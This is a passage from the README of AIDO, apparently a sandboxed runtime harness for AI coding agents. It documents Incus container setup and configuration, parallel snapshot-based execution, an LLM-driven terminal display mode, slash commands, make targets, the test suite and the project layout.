sudo apt install incus
sudo incus admin init   # accept defaults

# Verify
incus list

aido-runtime will connect via /run/incus/unix.socket automatically.


Mode 2, Remote Incus server (btrfs, recommended for production)

A remote Incus server backed by btrfs allows container creation via Copy-on-Write snapshots in under 200ms. This is the fastest and most scalable sandboxing option.

Step 1, Enable the Incus REST API on the server

ssh your-incus-server "incus config set core.https_address '0.0.0.0:8443'"

# Verify it's listening
ssh your-incus-server "ss -tlnp | grep 8443"

Step 2, Generate a client certificate for AIDO

mkdir -p ~/.config/aido/incus

openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 \
  -keyout ~/.config/aido/incus/prod-infra.key \
  -out    ~/.config/aido/incus/prod-infra.crt \
  -days   3650 -nodes \
  -subj   "/CN=aido-client"

Step 3, Trust the client cert on the server

# Server generates a one-time token
ssh your-incus-server "incus config trust add aido"
# → prints a base64 token

# Add the remote using that token
incus remote add prod-infra https://<SERVER_IP>:8443 \
  --accept-certificate \
  --auth-type tls \
  --token <TOKEN_FROM_ABOVE>

You should see: Client certificate now trusted by server: prod-infra

Step 4, Retrieve the server CA certificate

ssh your-incus-server "cat /var/lib/incus/server.crt" \
  > ~/.config/aido/incus/prod-infra-ca.crt

Step 5, Smoke test

# List containers on the remote
incus list prod-infra:

# Launch an ephemeral container (instant on btrfs)
incus launch images:alpine/edge prod-infra:aido-test --ephemeral
incus exec prod-infra:aido-test -- echo "incus-ok"
incus delete prod-infra:aido-test --force

aido-runtime.toml, Incus configuration

[sandbox]
# "podman" (default) or "incus"
default_backend = "incus"

[sandbox.incus]
# Remote configured via `incus remote add`
default_remote = "prod-infra"

# Allowlist, empty list = all images denied (fail-closed)
allowed_images = [
  "images:ubuntu/24.04",
  "images:alpine/edge",
  "images:debian/12",
]

# Resource defaults (LLM can request less, never more)
default_memory_mb    = 512
default_cpu_limit    = 1
default_disk_mb      = 2048
default_timeout_secs = 60

# Security hardening
security_profile   = "default"   # AppArmor profile
no_new_privileges  = true
default_network    = "none"      # "none" | "bridge"

# Remote connection (TLS mutual auth)
[sandbox.incus.remotes.prod-infra]
url  = "https://10.0.0.5:8443"
cert = "~/.config/aido/incus/prod-infra.crt"
key  = "~/.config/aido/incus/prod-infra.key"
ca   = "~/.config/aido/incus/prod-infra-ca.crt"

# Local socket (no TLS needed)
[sandbox.incus.remotes.local]
url  = "unix:///run/incus/unix.socket"

Why btrfs matters

On a btrfs-backed Incus server, new containers are created via Copy-on-Write from a base image snapshot. This means:

Backend Container start time
ext4 (full copy) 5–30 seconds
btrfs CoW snapshot < 200ms

For AIDO agents that spawn many isolated containers (per-task sandboxing, multi-agent workloads), this is the difference between a usable and an unusable system.

To use an existing container as a CoW base template, create it once and snapshot it:

# Create a pre-warmed template on the btrfs server
incus launch images:ubuntu/24.04 prod-infra:template-base
incus exec prod-infra:template-base -- apt-get install -y python3 nodejs
incus snapshot prod-infra:template-base ready

# AIDO will clone from this snapshot instantly
# (set base_snapshot = "template-base/ready" in RunIncus)

Parallel Worlds & Snapshot Architecture

The LLM thinks in branches, not sequences.

The Incus backend unlocks a fundamentally different execution model: instead of trying one solution at a time and rolling back on failure, AIDO agents can fork the world, spawning N isolated containers simultaneously, each exploring a different approach, then picking the winner.

The three primitives

RunIncus, single ephemeral container

A container that lives only for the duration of the task. Files are injected before execution, collected after. The container is automatically deleted when the task ends regardless of outcome (RAII guard).

{
  "type": "RunIncus",
  "image": "images:ubuntu/24.04",
  "remote": "prod-infra",
  "command": ["sh", "-c", "cargo test 2>&1"],
  "files": {
    "src/lib.rs": "pub fn add(a: i32, b: i32) -> i32 { a + b }"
  },
  "collect_files": ["/workspace/test-report.json"],
  "memory_mb": 512,
  "timeout_secs": 60
}

RunIncusGroup, N containers in parallel

All tasks launch simultaneously (bounded by max_parallel). Results come back as a ranked list. Ideal for: running the same test suite across N OS versions, benchmarking N algorithm variants, or trying N patches and picking the first one that passes.

{
  "type": "RunIncusGroup",
  "remote": "prod-infra",
  "max_parallel": 4,
  "tasks": [
    {
      "id": "ubuntu-24",
      "image": "images:ubuntu/24.04",
      "command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
    },
    {
      "id": "alpine",
      "image": "images:alpine/edge",
      "command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
    },
    {
      "id": "debian-12",
      "image": "images:debian/12",
      "command": ["sh", "-c", "python3 --version && python3 run_tests.py"]
    }
  ]
}

Response:

{
  "total": 3,
  "succeeded": 2,
  "failed": 1,
  "results": [
    { "id": "ubuntu-24",  "exit_code": 0, "stdout": "...", "duration_ms": 3200 },
    { "id": "alpine",     "exit_code": 1, "stdout": "...", "duration_ms": 1800 },
    { "id": "debian-12",  "exit_code": 0, "stdout": "...", "duration_ms": 2900 }
  ]
}

base_snapshot, CoW instant clone

Instead of launching from a raw image (slow pull), clone from a pre-warmed snapshot in < 200ms. Each clone is a fully independent container, writes in one don't affect the others.

{
  "type": "RunIncusGroup",
  "remote": "prod-infra",
  "tasks": [
    { "id": "solution-a", "base_snapshot": "template-base/ready", "command": ["python3", "solution_a.py"] },
    { "id": "solution-b", "base_snapshot": "template-base/ready", "command": ["python3", "solution_b.py"] },
    { "id": "solution-c", "base_snapshot": "template-base/ready", "command": ["python3", "solution_c.py"] }
  ]
}

All three clones start simultaneously from the same snapshot in < 200ms each.

Rollback & state preservation

A container can save its state before a risky operation using snapshot_on_exit:

{ "type": "RunIncus", "snapshot_on_exit": "before-migration", ... }

If the next step fails, the LLM can roll back by launching from that snapshot:

{ "type": "RunIncus", "base_snapshot": "my-container/before-migration", ... }

This gives AIDO agents a stateful, reversible execution environment, equivalent to git branches but for running processes.

Agent pattern: Parallel Worlds

The recommended pattern for solving non-trivial coding problems:

1. CreateSnapshot  → checkpoint current workspace state
2. RunIncusGroup   → try N solutions in parallel (all from same base_snapshot)
3. Inspect results → pick winner (exit_code=0, fastest, smallest output, ...)
4. Apply winner    → copy winning files back to workspace
5. Verify          → RunIncus (one final run to confirm)

Measured on the prod-infra btrfs remote:

  • 4 containers launched in parallel → 5.6s total (vs ~16s sequential)
  • CoW clone time: < 200ms per container
  • RAII cleanup: zero zombie containers after test suite (10/10 tests, 0 leaked)

Matrix Mode

The LLM is the GPU.

Matrix Mode is an experimental display paradigm where the LLM takes full, direct control of the terminal. Instead of producing markdown or plain text, the LLM outputs structured JSON frames, character grids with per-cell styling, and the orchestrator renders them in a raw terminal canvas. The result is an LLM-native graphical interface: dashboards, games, editors, forms, art, all generated and driven entirely by the model.

No UI framework. No HTML. No widgets library. The LLM decides every pixel.

aido --matrix          # launch matrix mode
make run-matrix        # build + launch

How it works

┌──────────────┐     JSON frame      ┌──────────────┐     raw terminal     ┌──────────────┐
│              │  ───────────────►   │              │  ──────────────►    │              │
│     LLM      │  <matrix>...</matrix> │  orchestrator │  crossterm render   │   terminal   │
│              │  ◄───────────────   │              │  ◄──────────────    │              │
│  (the brain) │     user input      │  (the GPU)   │     keypress/click  │  (the screen) │
└──────────────┘     as JSON         └──────────────┘                     └──────────────┘
  1. The LLM outputs <matrix>{ JSON }</matrix> frames containing a character grid
  2. The orchestrator renders the grid in a fullscreen raw terminal (crossterm alternate screen)
  3. User input (keys, mouse clicks, form submissions) is captured and sent back as JSON
  4. The LLM receives the input and responds with a new frame
  5. Repeat, the LLM drives the display loop

Features

Feature Description
Character grid LLM outputs rows: [...], each string is one row of the display
Per-cell styling styles: [...], hex colors (#00dfa8), bold, dim, fg/bg per region
Editable fields fields: [...], inline text inputs with Tab navigation, Enter to submit
Mouse support Click events sent as {"type": "click", "row": R, "col": C, "row_text": "..."}
Input modes line (readline), char (single key), fields (form), none (display only)
Multi-action chaining LLM can send multiple <action> blocks, executed sequentially, results batched
Watch / Crontab <watch> blocks for scheduled recurring actions with trigger conditions
Slash commands /clear /cost /help /quit /undo, intercepted before LLM
Token tracking Live token count in status bar and spinner
Dual consoles Macro log (left, actions sent) + Micro log (right, results received)
Streaming Live character count in status bar while the LLM generates the frame
Frame caching On LLM error, redisplays last valid frame and retries silently
Progressive reveal Frames render row-by-row with a cascade animation
Bridge integration LLM can execute aido-runtime actions (read files, run commands) and display results
Prompt caching Anthropic prompt caching enabled, 2x faster, 90% cheaper after 1st call
Multi-provider Interactive picker at startup: Anthropic, OpenAI/Groq/OpenRouter, Ollama
Anti-hallucination System prompt enforces real data only, no fabricated system output

Frame format

{
  "rows": [
    "╔══════════════════════╗",
    "║  Hello, Matrix!      ║",
    "╚══════════════════════╝"
  ],
  "styles": [
    {"row": 1, "col": 4, "len": 14, "fg": "#00dfa8", "bold": true}
  ],
  "fields": [
    {"id": "name", "row": 3, "col": 8, "len": 20, "value": "", "placeholder": "type here"}
  ],
  "input_mode": "fields",
  "cursor": {"row": 3, "col": 8},
  "status": "Ready",
  "clear": true
}

Input events (sent to LLM as JSON)

Event Format
Init {"type": "init"} or {"type": "init", "request": "build a snake game"}
Key press {"type": "key", "value": "a"}
Line input {"type": "line", "value": "hello"}
Mouse click {"type": "click", "row": 5, "col": 12}
Form submit {"type": "submit", "fields": {"name": "John", "age": "25"}}
Resize {"type": "resize", "cols": 120, "rows": 40}
Tick {"type": "tick"} (in none mode)

What can you build?

The LLM can draw anything that fits in a character grid:

  • System dashboards, CPU/RAM/disk bars, process tables, network stats
  • Games, Snake, Tetris, Minesweeper, roguelikes, text adventures
  • File browsers, navigate directories, preview files
  • Editors, text editing with syntax highlighting
  • Forms, multi-field input with validation
  • Art, ASCII art, animations, visualizers
  • Chat UIs, messaging interfaces, chatbot frontends

CLI options

aido --matrix                        # interactive provider/model/interface picker
aido --matrix --provider ollama      # skip to Ollama directly
aido --matrix --provider anthropic   # skip to Anthropic directly
aido --matrix --provider openai-compat  # OpenAI/Groq/OpenRouter

AIDO.md, Project Memory

Like CLAUDE.md, a markdown file loaded automatically at boot and injected into the system prompt. The LLM knows your project conventions.

# AIDO.md
- This is a Rust workspace with two crates: aido-runtime and aido-orchestrator.
- Always run `cargo check` after modifications.
- Use snake_case for all identifiers.
- Never modify files in the `vendor/` directory.

Searched locations (in order):

  1. AIDO.md in project root
  2. .aido/AIDO.md
  3. .aido/rules.md
  4. .aido/rules/*.md (all files, sorted alphabetically)

Non-Interactive Mode

Run a single prompt and exit, for CI/CD, scripts, and piping:

# Single prompt
aido -p "list all TODO comments in the codebase"

# Pipe stdin as context
cat stacktrace.log | aido --stdin -p "explain and fix"

# @file references, inject file contents inline
aido -p "review @src/auth.rs for security issues"

# JSON output for scripting
aido -p "what is the OS" --output-format json

Autonomous Mode

Continuous agent loop, the LLM works independently with auto git checkpoints:

aido --auto-mode                          # default 50 iterations
aido --auto-mode --max-iterations 100     # custom limit

Every 10 iterations, AIDO auto-commits (git add -A && git commit). Ctrl+C to stop gracefully.


Slash Commands

Command Description
/help Show all commands
/history Full expanded conversation history (actions, results, messages)
/export [name] Export session as JSON (for audit & LLM fine-tuning)
/matrix [request] Enter Matrix Mode, optional request to auto-build a dashboard
/diff git diff --stat
/log [n] git log --oneline (default 20)
/commit [msg] git add -A + git commit
/undo git checkout -- . (revert all changes)
/stash [pop] git stash push/pop
/read <file> Inject file into context
/clear Reset conversation
/cost Token usage & estimated cost
/auto Toggle auto-confirm
/compact Toggle compact system prompt
/until <cmd> Goal-driven loop, agent retries until command passes (exit 0)
/snapshot <name> Save file state
/restore <name> Restore file state
/actions List all aido-runtime actions
/policy <json> Check if an action would be allowed by the policy engine
/pulse System health dashboard
/target [mode] Show or switch execution target (local/sandbox/ssh)
/handles List active async handles
/check <id> Check/drain handle events
/stop <id> Cancel an active handle
/quit Exit

TUI keybindings

Key Action
F1 Help
F2 Setup wizard
F3 Clear conversation
F4 Switch to Ollama
F5 Switch to Anthropic
F6 Switch to OpenAI-compat
F7 Toggle raw JSON data view
F8 Toggle auto-confirm
F9 Toggle compact prompt
Tab Collapse/expand console
Esc × 2 Cancel current action
PgUp / PgDn Scroll data pane
Shift+PgUp/PgDn Scroll console
Ctrl+C Quit

Make targets

make build             build debug
make release           build release
make install           install to ~/.cargo/bin
make run               local mode (CLI)
make run-tui           local mode (TUI)
make run-matrix        matrix mode (LLM-controlled canvas)
make run-mcp           run aido-runtime as MCP server
make run-incus         Incus container (isolated CLI)
make run-incus-matrix  Incus container (isolated Matrix mode)
make test              unit tests only
make test-all          full suite: unit + scenarios + Incus
make test-matrix       run matrix mode unit tests only
make test-desktop      desktop/Wayland tests (requires grim, wlrctl, wtype)
make scenarios-incus   Incus scenarios only
make dev               watch + rebuild on save
make demo              send 3 scripted commands for quick testing
make demo-undo         "Undo Agent", agent destroys, AIDO restores in ~3 ms
make demo-undo-fast    same as above, no pauses (for screencasts)

Testing

Three-tier test suite, all run without an LLM:

make test-all    # runs everything
Tier What Count Speed
Unit tests cargo test --workspace ~340 tests ~5s
Scenario suite JSON-driven in-process harness 175 cases across 11 categories ~1s
Incus integration Real containers on a remote Incus server 13 tests ~80s

Scenario categories

Category Tests Description
composites 10 DefinePrimitive/CallPrimitive lifecycle
edge_cases 22 Empty paths, nonexistent files, zero timeouts
happy_path 42 Full CRUD, git, system info, memory
human_interaction 12 AskHuman, Confirm, QCM with scripted responses
malformed 18 Invalid JSON, missing fields, wrong types
pipeline 5 Sequential multi-step execution
pipeline_advanced 12 Parallel, stop_on_error, snapshot, nested rejection
policy_violations 22 Path traversal, forbidden commands, SSRF, secrets
qcm 16 AskMultipleChoice: skip, other, out-of-range
snapshots 9 Create/restore/delete/list snapshots
try_rollback 7 Transactional execution with automatic rollback

Incus pre-flight

When --incus is set with a non-local remote, the scenario runner probes connectivity with a 5s timeout before running any container tests. If the remote is unreachable, Incus tests are skipped with a warning instead of failing with 20s timeouts per test:

⚠  Incus remote 'prod-infra' is unreachable, skipping Incus scenarios
   Fix: incus remote list  |  check server at remote 'prod-infra'

Project layout

aido/
├── aido-mcp/                      # Shared MCP / JSON-RPC plumbing (wire-level only)
│   └── src/
│       ├── jsonrpc.rs             # JSON-RPC 2.0 types + error codes
│       ├── transport.rs           # Line-delimited stdio transport
│       └── child_client.rs        # Spawn + speak MCP to a downstream server
├── aido-runtime/                  # Executor crate, zero AI, typed primitives only
│   ├── src/
│   │   ├── action.rs              # Action enum (122 variants)
│   │   ├── result.rs              # ActionResult / ActionOutput
│   │   ├── policy.rs              # PolicyEngine
│   │   ├── config.rs              # AppConfig
│   │   ├── mcp/                   # MCP server (tools/list, tools/call…)
│   │   └── executor/              # One file per primitive category
│   ├── bin/aido-scenario-runner/  # JSON-driven test harness binary
│   └── tests/scenarios/           # 175+ JSON test scenarios
├── aido-orchestrator/             # Orchestrator library + headless serve binary
│   ├── src/
│   │   ├── lib.rs                 # Public modules (consumed by aido-code)
│   │   ├── main.rs                # `aido-orchestrator` headless HTTP/SSE binary
│   │   ├── mcp_server.rs          # MCP gateway, proxifies runtime + native sysaicalls
│   │   ├── tui_mode.rs            # TUI frontend (ratatui)
│   │   ├── matrix_mode.rs         # Matrix mode (LLM-controlled canvas)
│   │   ├── agent_loop.rs          # LLM → parse → dispatch → collapse cycle
│   │   │                          # Orchestrator-first Pipeline interception
│   │   ├── loop_tracker.rs        # T11 repeated-action circuit breaker
│   │   ├── sysaicalls.rs          # SpawnWorld / WaitAgent / ListAgents dispatch
│   │   ├── incus_actions.rs       # Host-side Incus dispatch (privilege boundary)
│   │   ├── subagent.rs            # Parallel isolated agent tasks
│   │   ├── session.rs             # JSONL audit logger
│   │   ├── terminal.rs            # Display formatting, /history renderer
│   │   ├── project.rs             # Project detection, AIDO.md, @file, indexing
│   │   ├── slash.rs               # Slash commands (/commit, /export, /matrix…)
│   │   ├── config.rs              # Config management (TOML + env)
│   │   └── bridge.rs              # stdio/HTTP/sandbox bridge
│   └── aido-orchestrator.toml
└── aido-code/                      # `aido` CLI binary, wraps the orchestrator library
    └── src/
        └── main.rs                # `aido` entry point (CLI/TUI/Matrix, -p, --auto, --stdin)

~/.aido/                       # User data directory
├── sessions/                  # Auto JSONL audit logs (per session)
│   └── 2026-04-16_02-12.jsonl
├── exports/                   # Manual JSON exports (/export)
│   └── session_2026-04-16.json
├── history                    # readline history
└── config/                    # User overrides

Contributing

See CONTRIBUTING.md for development setup and guidelines.

Security

See SECURITY.md for the security model and vulnerability reporting.

License

Apache 2.0, see LICENSE.

About

Secure runtime harness for AI agents. Typed actions, policy engine, sandboxed execution. MCP-compatible.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors